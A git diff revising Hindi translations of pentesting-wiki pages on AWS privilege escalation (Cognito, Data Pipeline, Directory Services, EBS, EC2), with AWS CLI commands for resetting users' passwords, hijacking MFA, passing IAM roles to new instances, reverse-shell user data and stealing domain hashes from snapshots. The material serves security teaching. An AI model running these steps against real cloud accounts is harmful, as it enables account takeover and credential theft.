-यह अनुमति का **दुरुपयोग करके मूल प्रमाणीकरण की अनुमति देना** भी संभव है:
+यह अनुमति का **दुरुपयोग करके बेसिक ऑथ** की अनुमति देना भी संभव है:
```bash
aws cognito-identity update-identity-pool \
--identity-pool-id \
@@ -80,7 +80,7 @@ aws cognito-idp admin-add-user-to-group \
--username \
--group-name
```
-**संभावित प्रभाव:** अन्य Cognito समूहों और उपयोगकर्ता पूल समूहों से जुड़े IAM भूमिकाओं के लिए प्रिवेस्क।
+**संभावित प्रभाव:** अन्य Cognito समूहों और User Pool Groups से जुड़े IAM भूमिकाओं के लिए प्रिवेस्क।
### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
@@ -102,7 +102,7 @@ aws cognito-idp admin-confirm-sign-up \
### `cognito-idp:AdminCreateUser`
-यह अनुमति एक हमलावर को उपयोगकर्ता पूल के भीतर एक नया उपयोगकर्ता बनाने की अनुमति देगी। नया उपयोगकर्ता सक्षम के रूप में बनाया जाता है, लेकिन इसे अपना पासवर्ड बदलने की आवश्यकता होगी।
+यह अनुमति एक हमलावर को उपयोगकर्ता पूल के अंदर एक नया उपयोगकर्ता बनाने की अनुमति देगी। नया उपयोगकर्ता सक्षम के रूप में बनाया जाता है, लेकिन इसे अपना पासवर्ड बदलने की आवश्यकता होगी।
```bash
aws cognito-idp admin-create-user \
--user-pool-id \
@@ -111,7 +111,7 @@ aws cognito-idp admin-create-user \
[--validation-data ]
[--temporary-password ]
```
-**संभावित प्रभाव:** प्रमाणित उपयोगकर्ताओं के लिए पहचान पूल IAM भूमिका तक सीधा प्रिवेस्क। किसी भी उपयोगकर्ता को बनाने में सक्षम होने के कारण अन्य ऐप कार्यक्षमताओं के लिए अप्रत्यक्ष प्रिवेस्क।
+**संभावित प्रभाव:** प्रमाणित उपयोगकर्ताओं के लिए पहचान पूल IAM भूमिका पर सीधे प्रिवेस्क। किसी भी उपयोगकर्ता को बनाने में सक्षम होने के कारण अन्य ऐप कार्यक्षमताओं के लिए अप्रत्यक्ष प्रिवेस्क।
### `cognito-idp:AdminEnableUser`
@@ -129,7 +129,7 @@ aws cognito-idp admin-enable-user \
### `cognito-idp:AdminSetUserPassword`
-यह अनुमति एक हमलावर को **किसी भी उपयोगकर्ता का पासवर्ड बदलने** की अनुमति देगी, जिससे वह किसी भी उपयोगकर्ता (जिसके पास MFA सक्षम नहीं है) का अनुकरण कर सकेगा।
+यह अनुमति एक हमलावर को **किसी भी उपयोगकर्ता का पासवर्ड बदलने** की अनुमति देगी, जिससे वह किसी भी उपयोगकर्ता का अनुकरण कर सकेगा (जिसके पास MFA सक्षम नहीं है)।
```bash
aws cognito-idp admin-set-user-password \
--user-pool-id \
@@ -141,7 +141,7 @@ aws cognito-idp admin-set-user-password \
### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
-**AdminSetUserSettings**: एक हमलावर इस अनुमति का दुरुपयोग करके एक मोबाइल फोन को **एक उपयोगकर्ता के SMS MFA** के रूप में सेट कर सकता है जो उसके नियंत्रण में है।
+**AdminSetUserSettings**: एक हमलावर इस अनुमति का दुरुपयोग करके अपने नियंत्रण में एक मोबाइल फोन को **एक उपयोगकर्ता के SMS MFA** के रूप में सेट कर सकता है।
```bash
aws cognito-idp admin-set-user-settings \
--user-pool-id \
@@ -164,13 +164,13 @@ aws cognito-idp set-user-pool-mfa-config \
[--software-token-mfa-configuration ] \
[--mfa-configuration ]
```
-**UpdateUserPool:** उपयोगकर्ता पूल को MFA नीति बदलने के लिए अपडेट करना भी संभव है। [यहाँ cli देखें](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html)।
+**UpdateUserPool:** यह उपयोगकर्ता पूल को MFA नीति को बदलने के लिए अपडेट करना भी संभव है। [यहाँ cli देखें](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html)।
-**Potential Impact:** अप्रत्यक्ष प्रिवेस्क किसी भी उपयोगकर्ता के लिए जिसे हमलावर क्रेडेंशियल्स जानता है, यह MFA सुरक्षा को बायपास करने की अनुमति दे सकता है।
+**Potential Impact:** अप्रत्यक्ष प्रिवेस्क किसी भी उपयोगकर्ता के लिए संभावित है, जिसके क्रेडेंशियल्स का हमलावर को पता है, इससे MFA सुरक्षा को बायपास करने की अनुमति मिल सकती है।
### `cognito-idp:AdminUpdateUserAttributes`
-इस अनुमति के साथ एक हमलावर किसी उपयोगकर्ता के ईमेल या फोन नंबर या किसी अन्य विशेषता को बदल सकता है जो उसके नियंत्रण में है, ताकि एक अंतर्निहित एप्लिकेशन में अधिक विशेषाधिकार प्राप्त करने की कोशिश की जा सके।\
+इस अनुमति के साथ एक हमलावर किसी उपयोगकर्ता के नियंत्रण में ईमेल या फोन नंबर या किसी अन्य विशेषता को बदल सकता है ताकि एक अंतर्निहित एप्लिकेशन में अधिक विशेषाधिकार प्राप्त करने की कोशिश की जा सके।\
यह एक ईमेल या फोन नंबर को बदलने और इसे सत्यापित के रूप में सेट करने की अनुमति देता है।
```bash
aws cognito-idp admin-update-user-attributes \
@@ -178,11 +178,11 @@ aws cognito-idp admin-update-user-attributes \
--username \
--user-attributes
```
-**संभावित प्रभाव:** संभावित अप्रत्यक्ष प्रिवेस्क underlying application में जो Cognito User Pool का उपयोग करता है जो उपयोगकर्ता विशेषताओं के आधार पर विशेषाधिकार देता है।
+**संभावित प्रभाव:** संभावित अप्रत्यक्ष प्रिवेस्क underlying application में जो कि उपयोगकर्ता विशेषताओं के आधार पर विशेषाधिकार देता है, Cognito User Pool का उपयोग करके।
### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
-इस अनुमति के साथ एक हमलावर **एक नया User Pool Client बना सकता है जो पहले से मौजूद पूल क्लाइंट्स की तुलना में कम प्रतिबंधित है।** उदाहरण के लिए, नया क्लाइंट किसी भी प्रकार के तरीके से प्रमाणीकरण की अनुमति दे सकता है, कोई रहस्य नहीं हो सकता, टोकन रद्दीकरण अक्षम हो सकता है, टोकन को लंबे समय तक मान्य रहने की अनुमति दे सकता है...
+इस अनुमति के साथ एक हमलावर **एक नया User Pool Client बना सकता है जो पहले से मौजूद pool clients की तुलना में कम प्रतिबंधित है**। उदाहरण के लिए, नया क्लाइंट किसी भी प्रकार के तरीके को प्रमाणित करने की अनुमति दे सकता है, कोई रहस्य नहीं हो सकता, टोकन रद्दीकरण अक्षम हो सकता है, टोकन को लंबे समय तक मान्य रहने की अनुमति दे सकता है...
यदि एक **मौजूदा क्लाइंट को संशोधित किया जाए** तो वही किया जा सकता है।
@@ -193,7 +193,7 @@ aws cognito-idp create-user-pool-client \
--client-name \
[...]
```
-**संभावित प्रभाव:** उपयोगकर्ता पूल द्वारा उपयोग किए जाने वाले पहचान पूल अधिकृत उपयोगकर्ता के लिए संभावित अप्रत्यक्ष प्रिवेस्क, एक नया क्लाइंट बनाकर जो सुरक्षा उपायों को ढीला करता है और एक हमलावर को एक उपयोगकर्ता के साथ लॉगिन करने की अनुमति देता है जिसे वह बनाने में सक्षम था।
+**संभावित प्रभाव:** संभावित अप्रत्यक्ष प्रिवेस्क को पहचान पूल के अधिकृत उपयोगकर्ता के लिए उपयोगकर्ता पूल द्वारा एक नए क्लाइंट को बनाने के द्वारा सुरक्षा उपायों को ढीला करना और एक हमलावर को एक उपयोगकर्ता के साथ लॉगिन करने की अनुमति देना जिसे वह बनाने में सक्षम था।
### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
@@ -216,7 +216,7 @@ curl -v -T "PATH_TO_CSV_FILE" \
```
(यदि आप एक नया आयात कार्य बनाते हैं, तो आपको iam passrole अनुमति की भी आवश्यकता हो सकती है, मैंने इसका परीक्षण नहीं किया है)।
-**संभावित प्रभाव:** प्रमाणित उपयोगकर्ताओं के लिए पहचान पूल IAM भूमिका तक सीधा प्रिवेस्क। किसी भी उपयोगकर्ता को बनाने की क्षमता के कारण अन्य ऐप कार्यक्षमताओं तक अप्रत्यक्ष प्रिवेस्क।
+**संभावित प्रभाव:** प्रमाणित उपयोगकर्ताओं के लिए पहचान पूल IAM भूमिका तक सीधा प्रिवेस्क। किसी भी उपयोगकर्ता को बनाने की क्षमता के साथ अन्य ऐप कार्यक्षमताओं तक अप्रत्यक्ष प्रिवेस्क।
### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
@@ -234,16 +234,16 @@ aws cognito-idp create-identity-provider \
### cognito-sync:\* विश्लेषण
-यह पहचान पूल की भूमिकाओं में डिफ़ॉल्ट रूप से एक बहुत सामान्य अनुमति है। भले ही अनुमतियों में वाइल्डकार्ड हमेशा बुरा लगता है (विशेष रूप से AWS से आने पर), **दी गई अनुमतियाँ हमलावर के दृष्टिकोण से सुपर उपयोगी नहीं हैं**।
+यह पहचान पूल के भूमिकाओं में डिफ़ॉल्ट रूप से एक बहुत सामान्य अनुमति है। भले ही अनुमतियों में वाइल्डकार्ड हमेशा बुरा लगता है (विशेष रूप से AWS से आने पर), **दी गई अनुमतियाँ हमलावर के दृष्टिकोण से सुपर उपयोगी नहीं हैं**।
यह अनुमति पहचान पूल और पहचान आईडी के भीतर उपयोग जानकारी पढ़ने की अनुमति देती है (जो संवेदनशील जानकारी नहीं है)।\
-पहचान आईडी में [**डेटासेट्स**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) असाइन किए जा सकते हैं, जो सत्रों की जानकारी होती है (AWS इसे **सहेजे गए खेल** के रूप में परिभाषित करता है)। यह संभव है कि इसमें कुछ प्रकार की संवेदनशील जानकारी हो (लेकिन संभावना काफी कम है)। आप इस जानकारी तक पहुँचने के लिए [**गणना पृष्ठ**](../aws-services/aws-cognito-enum/) में देख सकते हैं।
+पहचान आईडी में [**डेटासेट्स**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) असाइन किए जा सकते हैं, जो सत्रों की जानकारी होती है (AWS इसे **सहेजी गई खेल** के रूप में परिभाषित करता है)। यह संभव है कि इसमें कुछ प्रकार की संवेदनशील जानकारी हो (लेकिन संभावना काफी कम है)। आप इस जानकारी तक पहुँचने के लिए [**enumeration page**](../aws-services/aws-cognito-enum/) पर देख सकते हैं।
-एक हमलावर इन अनुमतियों का उपयोग करके **इन डेटासेट्स पर परिवर्तन प्रकाशित करने वाले एक Cognito स्ट्रीम में खुद को नामांकित कर सकता है** या **cognito घटनाओं पर ट्रिगर होने वाले एक लैम्ब्डा** का उपयोग कर सकता है। मैंने इसे उपयोग में नहीं देखा है, और मैं यहाँ संवेदनशील जानकारी की अपेक्षा नहीं करूंगा, लेकिन यह असंभव नहीं है।
+एक हमलावर इन अनुमतियों का उपयोग करके **इन डेटासेट्स पर परिवर्तन प्रकाशित करने वाले Cognito स्ट्रीम में खुद को नामांकित कर सकता है** या **cognito घटनाओं पर ट्रिगर होने वाले लैम्ब्डा** का उपयोग कर सकता है। मैंने इसे उपयोग में नहीं देखा है, और मैं यहाँ संवेदनशील जानकारी की अपेक्षा नहीं करूंगा, लेकिन यह असंभव नहीं है।
### स्वचालित उपकरण
-- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS शोषण ढांचा, अब "cognito\_\_enum" और "cognito\_\_attack" मॉड्यूल शामिल करता है जो एक खाते में सभी Cognito संपत्तियों की गणना को स्वचालित करता है और कमजोर कॉन्फ़िगरेशन, उपयोगकर्ता विशेषताएँ जो पहुँच नियंत्रण के लिए उपयोग की जाती हैं, आदि को चिह्नित करता है, और उपयोगकर्ता निर्माण (MFA समर्थन सहित) और संशोधित कस्टम विशेषताओं, उपयोग योग्य पहचान पूल क्रेडेंशियल्स, आईडी टोकन में असुमेबल भूमिकाओं के आधार पर प्रिवेस्क को भी स्वचालित करता है।
+- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS शोषण ढांचा, अब "cognito\_\_enum" और "cognito\_\_attack" मॉड्यूल शामिल करता है जो एक खाते में सभी Cognito संपत्तियों की गणना को स्वचालित करता है और कमजोर कॉन्फ़िगरेशन, उपयोगकर्ता विशेषताओं का उपयोग करने के लिए पहुँच नियंत्रण, आदि को चिह्नित करता है, और उपयोगकर्ता निर्माण (MFA समर्थन सहित) और संशोधित कस्टम विशेषताओं, उपयोग योग्य पहचान पूल क्रेडेंशियल्स, आईडी टोकन में असुमेबल भूमिकाओं के आधार पर प्रिवेस्क को भी स्वचालित करता है।
मॉड्यूल के कार्यों का विवरण देखने के लिए [ब्लॉग पोस्ट](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) के भाग 2 को देखें। स्थापना निर्देशों के लिए मुख्य [Pacu](https://github.com/RhinoSecurityLabs/pacu) पृष्ठ देखें।
@@ -255,11 +255,11 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
```
-सैंपल cognito\_\_enum का उपयोग वर्तमान AWS खाते में दृश्य सभी उपयोगकर्ता पूल, उपयोगकर्ता पूल क्लाइंट, पहचान पूल, उपयोगकर्ता आदि एकत्र करने के लिए:
+सैंपल cognito\_\_enum का उपयोग वर्तमान AWS खाते में दृश्य सभी उपयोगकर्ता पूल, उपयोगकर्ता पूल क्लाइंट, पहचान पूल, उपयोगकर्ताओं आदि को इकट्ठा करने के लिए:
```bash
Pacu (new:test) > run cognito__enum
```
-- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) एक CLI टूल है जो पायथन में लिखा गया है और यह Cognito पर विभिन्न हमलों को लागू करता है जिसमें privesc escalation शामिल है।
+- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) एक CLI टूल है जो पायथन में लिखा गया है और यह Cognito पर विभिन्न हमलों को लागू करता है, जिसमें privesc escalation भी शामिल है।
#### Installation
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
index 7b6601af4..f11c68f65 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
@@ -12,11 +12,11 @@ datapipeline के बारे में अधिक जानकारी
### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline`
-इन **अनुमतियों वाले उपयोगकर्ता एक Data Pipeline बनाकर विशेषाधिकार बढ़ा सकते हैं** ताकि **नियुक्त भूमिका की अनुमतियों का उपयोग करके मनमाने आदेशों को निष्पादित किया जा सके:**
+इन **अनुमतियों वाले उपयोगकर्ता एक Data Pipeline बनाकर विशेषाधिकार बढ़ा सकते हैं** ताकि **नियुक्त भूमिका की अनुमतियों का उपयोग करके मनचाहे आदेश निष्पादित कर सकें:**
```bash
aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
```
-पाइपलाइन बनाने के बाद, हमलावर इसकी परिभाषा को अपडेट करता है ताकि विशिष्ट क्रियाएँ या संसाधन निर्माण को निर्धारित किया जा सके:
+पाइपलाइन बनाने के बाद, हमलावर इसकी परिभाषा को अद्यतन करता है ताकि विशिष्ट क्रियाएँ या संसाधन निर्माण निर्धारित किए जा सकें:
```json
{
"objects": [
@@ -52,12 +52,12 @@ aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
> [!NOTE]
> ध्यान दें कि **लाइन 14, 15 और 27** में **भूमिका** एक भूमिका होनी चाहिए जो **datapipeline.amazonaws.com** द्वारा ग्रहण की जा सके और **लाइन 28** में भूमिका एक **भूमिका होनी चाहिए जो ec2.amazonaws.com द्वारा ग्रहण की जा सके जिसमें एक EC2 प्रोफ़ाइल इंस्टेंस हो**।
>
-> इसके अलावा, EC2 इंस्टेंस केवल उस भूमिका तक पहुंच रखेगा जो EC2 इंस्टेंस द्वारा ग्रहण की जा सके (इसलिए आप केवल वही चुरा सकते हैं)।
+> इसके अलावा, EC2 इंस्टेंस केवल उस भूमिका तक पहुँच रखेगा जो EC2 इंस्टेंस द्वारा ग्रहण की जा सके (तो आप केवल वही चुरा सकते हैं)।
```bash
aws datapipeline put-pipeline-definition --pipeline-id \
--pipeline-definition file:///pipeline/definition.json
```
-**पाइपलाइन परिभाषा फ़ाइल, जिसे हमलावर द्वारा तैयार किया गया है, में आदेश निष्पादित करने या AWS API के माध्यम से संसाधन बनाने के लिए निर्देश शामिल हैं, जो डेटा पाइपलाइन की भूमिका अनुमतियों का लाभ उठाते हैं ताकि संभावित रूप से अतिरिक्त विशेषाधिकार प्राप्त किया जा सके।**
+**पाइपलाइन परिभाषा फ़ाइल, जिसे हमलावर द्वारा तैयार किया गया है, में आदेश निष्पादित करने या AWS API के माध्यम से संसाधन बनाने के लिए निर्देश शामिल हैं, जो डेटा पाइपलाइन की भूमिका अनुमतियों का लाभ उठाते हुए संभावित रूप से अतिरिक्त विशेषाधिकार प्राप्त कर सकते हैं।**
**संभावित प्रभाव:** निर्दिष्ट ec2 सेवा भूमिका के लिए प्रत्यक्ष विशेषाधिकार वृद्धि।
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
index d44e9fa14..8c03c7f4c 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
@@ -17,7 +17,7 @@
```
aws ds reset-user-password --directory-id --user-name Admin --new-password Newpassword123.
```
-### AWS Management Console
+### AWS प्रबंधन कंसोल
यह संभव है कि एक **ऐप्लिकेशन एक्सेस URL** सक्षम किया जाए जिसे AD के उपयोगकर्ता लॉगिन करने के लिए एक्सेस कर सकें:
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
index d1980ae3e..e9f04c7ea 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
@@ -12,7 +12,7 @@ dynamodb के बारे में अधिक जानकारी के
### Post Exploitation
-जितना मुझे पता है, AWS में केवल कुछ AWS `dynamodb` अनुमतियों के साथ विशेषाधिकार बढ़ाने का **कोई सीधा तरीका नहीं है**। आप तालिकाओं से **संवेदनशील** जानकारी पढ़ सकते हैं (जिसमें AWS क्रेडेंशियल्स हो सकते हैं) और तालिकाओं पर **जानकारी लिख सकते हैं** (जो अन्य कमजोरियों को ट्रिगर कर सकता है, जैसे कि लैम्ब्डा कोड इंजेक्शन...) लेकिन ये सभी विकल्प पहले से ही **DynamoDB Post Exploitation पृष्ठ** में विचारित हैं:
+जितना मुझे पता है, AWS में केवल कुछ AWS `dynamodb` अनुमतियों के साथ विशेषाधिकार बढ़ाने का **कोई सीधा तरीका नहीं है**। आप तालिकाओं से **संवेदनशील** जानकारी पढ़ सकते हैं (जिसमें AWS क्रेडेंशियल्स हो सकते हैं) और तालिकाओं पर **जानकारी लिख सकते हैं** (जो अन्य कमजोरियों को ट्रिगर कर सकता है, जैसे कि लैम्ब्डा कोड इंजेक्शन...) लेकिन ये सभी विकल्प पहले से ही **DynamoDB Post Exploitation पृष्ठ** में विचार किए गए हैं:
{{#ref}}
../aws-post-exploitation/aws-dynamodb-post-exploitation.md
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
index 091e5bb7e..690029e8c 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
@@ -6,7 +6,7 @@
### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots`
-एक हमलावर जिसके पास ये होंगे, वह संभावित रूप से **स्थानीय रूप से वॉल्यूम स्नैपशॉट डाउनलोड और विश्लेषण** कर सकेगा और उनमें संवेदनशील जानकारी (जैसे कि रहस्य या स्रोत कोड) की खोज कर सकेगा। इसे करने का तरीका खोजें:
+एक हमलावर जिसके पास ये होंगे, वह संभावित रूप से **स्थानीय रूप से वॉल्यूम स्नैपशॉट डाउनलोड और विश्लेषण** कर सकेगा और उनमें संवेदनशील जानकारी (जैसे कि रहस्य या स्रोत कोड) की खोज कर सकेगा। इसे करने का तरीका जानें:
{{#ref}}
../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
@@ -20,7 +20,7 @@
### **`ec2:CreateSnapshot`**
-कोई भी AWS उपयोगकर्ता जिसके पास **`EC2:CreateSnapshot`** अनुमति है, वह **डोमेन कंट्रोलर का स्नैपशॉट** बनाकर सभी डोमेन उपयोगकर्ताओं के हैश चुरा सकता है, इसे एक ऐसे उदाहरण पर माउंट करके जिसे वह नियंत्रित करता है और **NTDS.dit और SYSTEM** रजिस्ट्री हाइव फ़ाइल को Impacket के secretsdump प्रोजेक्ट के लिए निर्यात कर सकता है।
+कोई भी AWS उपयोगकर्ता जिसके पास **`EC2:CreateSnapshot`** अनुमति है, वह **डोमेन कंट्रोलर का स्नैपशॉट** बनाकर सभी डोमेन उपयोगकर्ताओं के हैश चुरा सकता है, इसे एक ऐसे उदाहरण में माउंट करके जिसे वह नियंत्रित करता है और **NTDS.dit और SYSTEM** रजिस्ट्री हाइव फ़ाइल को Impacket के secretsdump प्रोजेक्ट के लिए निर्यात कर सकता है।
आप इस हमले को स्वचालित करने के लिए इस उपकरण का उपयोग कर सकते हैं: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) या आप स्नैपशॉट बनाने के बाद पिछले तकनीकों में से एक का उपयोग कर सकते हैं।
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
index 8ed4c1787..27bc50383 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
@@ -4,7 +4,7 @@
## EC2
-For more **info about EC2** check:
+**EC2 के बारे में अधिक जानकारी** के लिए देखें:
{{#ref}}
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,17 +12,17 @@ For more **info about EC2** check:
### `iam:PassRole`, `ec2:RunInstances`
-An attacker could **create and instance attaching an IAM role and then access the instance** to steal the IAM role credentials from the metadata endpoint.
+एक हमलावर **एक IAM भूमिका संलग्न करते हुए एक उदाहरण बना सकता है और फिर उदाहरण तक पहुँच सकता है** ताकि IAM भूमिका क्रेडेंशियल्स को मेटाडेटा एंडपॉइंट से चुराया जा सके।
- **SSH के माध्यम से पहुँच**
-Run a new instance using a **created** **ssh key** (`--key-name`) and then ssh into it (if you want to create a new one you might need to have the permission `ec2:CreateKeyPair`).
+एक **बनाई गई** **ssh कुंजी** (`--key-name`) का उपयोग करके एक नया उदाहरण चलाएँ और फिर इसमें ssh करें (यदि आप एक नया बनाना चाहते हैं तो आपको `ec2:CreateKeyPair` अनुमति की आवश्यकता हो सकती है)।
```bash
aws ec2 run-instances --image-id --instance-type t2.micro \
--iam-instance-profile Name= --key-name \
--security-group-ids
```
-- **उपयोगकर्ता डेटा में रिव शेल के माध्यम से पहुंच**
+- **उपयोगकर्ता डेटा में रिव शेल के माध्यम से पहुँच**
आप एक नया उदाहरण चला सकते हैं जो एक **उपयोगकर्ता डेटा** (`--user-data`) का उपयोग करेगा जो आपको एक **रिव शेल** भेजेगा। इस तरीके से आपको सुरक्षा समूह निर्दिष्ट करने की आवश्यकता नहीं है।
```bash
@@ -34,7 +34,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
-गुराड ड्यूटी के साथ सावधान रहें यदि आप IAM भूमिका के क्रेडेंशियल्स का उपयोग करते हैं जो इंस्टेंस के बाहर हैं:
+GuradDuty के साथ सावधान रहें यदि आप IAM भूमिका के क्रेडेंशियल्स का उपयोग करते हैं जो इंस्टेंस के बाहर हैं:
{{#ref}}
../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
@@ -44,7 +44,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \
#### ECS तक पहुँच
-इन अनुमतियों के सेट के साथ, आप **एक EC2 इंस्टेंस बना सकते हैं और इसे एक ECS क्लस्टर के अंदर पंजीकृत कर सकते हैं**। इस तरह, ECS **सेवाएँ** **EC2 इंस्टेंस** के अंदर **चलाई जाएंगी** जहाँ आपके पास पहुँच है और फिर आप उन सेवाओं (डॉकर कंटेनरों) में प्रवेश कर सकते हैं और **उनकी ECS भूमिकाएँ चुरा सकते हैं** जो जुड़ी हुई हैं।
+इन अनुमतियों के सेट के साथ, आप **एक EC2 इंस्टेंस बना सकते हैं और इसे एक ECS क्लस्टर के अंदर पंजीकृत कर सकते हैं**। इस तरह, ECS **सेवाएँ** **EC2 इंस्टेंस** के अंदर **चलाई जाएंगी** जहाँ आपके पास पहुँच है और फिर आप उन सेवाओं (डॉकर कंटेनरों) में प्रवेश कर सकते हैं और **उनकी ECS भूमिकाएँ चुरा सकते हैं**।
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -59,20 +59,20 @@ aws ec2 run-instances \
#!/bin/bash
echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
```
-To learn how to **force ECS services to be run** in this new EC2 instance check:
+ECS सेवाओं को इस नए EC2 इंस्टेंस में **चलाने के लिए मजबूर करने** के लिए जांचें:
{{#ref}}
aws-ecs-privesc.md
{{#endref}}
-If you **cannot create a new instance** but has the permission `ecs:RegisterContainerInstance` you might be able to register the instance inside the cluster and perform the commented attack.
+यदि आप **नया इंस्टेंस नहीं बना सकते** लेकिन आपके पास `ecs:RegisterContainerInstance` अनुमति है, तो आप क्लस्टर के अंदर इंस्टेंस को रजिस्टर कर सकते हैं और टिप्पणी की गई हमले को अंजाम दे सकते हैं।
-**Potential Impact:** Direct privesc to ECS roles attached to tasks.
+**संभावित प्रभाव:** कार्यों से जुड़े ECS भूमिकाओं के लिए सीधे प्रिवेस्क।
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
-Similar to the previous scenario, an attacker with these permissions could **change the IAM role of a compromised instance** so he could steal new credentials.\
-As an instance profile can only have 1 role, if the instance profile **already has a role** (common case), you will also need **`iam:RemoveRoleFromInstanceProfile`**.
+पिछले परिदृश्य के समान, इन अनुमतियों के साथ एक हमलावर **एक समझौता किए गए इंस्टेंस की IAM भूमिका को बदल सकता है** ताकि वह नए क्रेडेंशियल चुरा सके।\
+चूंकि एक इंस्टेंस प्रोफाइल में केवल 1 भूमिका हो सकती है, यदि इंस्टेंस प्रोफाइल **पहले से ही एक भूमिका रखता है** (सामान्य मामला), तो आपको **`iam:RemoveRoleFromInstanceProfile`** की भी आवश्यकता होगी।
```bash
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name --role-name
@@ -92,13 +92,13 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --ins
इन अनुमतियों के साथ, एक उदाहरण से जुड़े उदाहरण प्रोफ़ाइल को बदलना संभव है, इसलिए यदि हमले ने पहले से ही एक उदाहरण तक पहुंच प्राप्त कर ली है, तो वह इससे जुड़े उदाहरण प्रोफ़ाइल भूमिकाओं के लिए क्रेडेंशियल चुराने में सक्षम होगा।
-- यदि इसमें **एक उदाहरण प्रोफ़ाइल है**, तो आप **हटाने** के लिए उदाहरण प्रोफ़ाइल (`ec2:DisassociateIamInstanceProfile`) कर सकते हैं और **जोड़ सकते हैं** \*
+- यदि इसमें **एक उदाहरण प्रोफ़ाइल** है, तो आप **हटाने** के लिए उदाहरण प्रोफ़ाइल (`ec2:DisassociateIamInstanceProfile`) कर सकते हैं और **जोड़ सकते** हैं \*
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id
aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id
```
-- या **बदले** **इंस्टेंस प्रोफाइल** को समझौता किए गए इंस्टेंस का (`ec2:ReplaceIamInstanceProfileAssociation`). \*
+- या **प्रतिस्थापित** करें **इंस्टेंस प्रोफ़ाइल** को समझौता किए गए इंस्टेंस का (`ec2:ReplaceIamInstanceProfileAssociation`). \*
````
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id
@@ -121,7 +121,7 @@ aws ec2 request-spot-instances \
```
### `ec2:ModifyInstanceAttribute`
-एक हमलावर जिसके पास **`ec2:ModifyInstanceAttribute`** है, वह इंस्टेंस के गुणों को संशोधित कर सकता है। इनमें, वह **उपयोगकर्ता डेटा को बदल सकता है**, जिसका अर्थ है कि वह इंस्टेंस को **मनमाना डेटा चलाने** के लिए बना सकता है। जिसका उपयोग **EC2 इंस्टेंस के लिए एक रिवर्स शेल प्राप्त करने** के लिए किया जा सकता है।
